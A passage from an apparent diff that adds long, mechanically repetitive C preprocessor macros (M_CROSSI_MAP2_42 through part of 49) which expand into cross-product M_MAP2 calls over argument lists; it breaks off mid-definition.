+#define M_CROSSI_MAP2_42b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) 
+#define M_CROSSI_MAP2_43(...) M_CROSSI_MAP2_43b(__VA_ARGS__)
+#define M_CROSSI_MAP2_43b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a43), M_ID blist) 
+#define M_CROSSI_MAP2_44(...) M_CROSSI_MAP2_44b(__VA_ARGS__)
+#define M_CROSSI_MAP2_44b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a43), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a44), M_ID blist) 
+#define M_CROSSI_MAP2_45(...) M_CROSSI_MAP2_45b(__VA_ARGS__)
+#define M_CROSSI_MAP2_45b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a43), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a44), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a45), M_ID blist) 
+#define M_CROSSI_MAP2_46(...) M_CROSSI_MAP2_46b(__VA_ARGS__)
+#define M_CROSSI_MAP2_46b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a43), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a44), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a45), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a46), M_ID blist) 
+#define M_CROSSI_MAP2_47(...) M_CROSSI_MAP2_47b(__VA_ARGS__)
+#define M_CROSSI_MAP2_47b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a43), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a44), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a45), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a46), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a47), M_ID blist) 
+#define M_CROSSI_MAP2_48(...) M_CROSSI_MAP2_48b(__VA_ARGS__)
+#define M_CROSSI_MAP2_48b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a43), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a44), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a45), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a46), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a47), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a48), M_ID blist) 
+#define M_CROSSI_MAP2_49(...) M_CROSSI_MAP2_49b(__VA_ARGS__)
+#define M_CROSSI_MAP2_49b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) 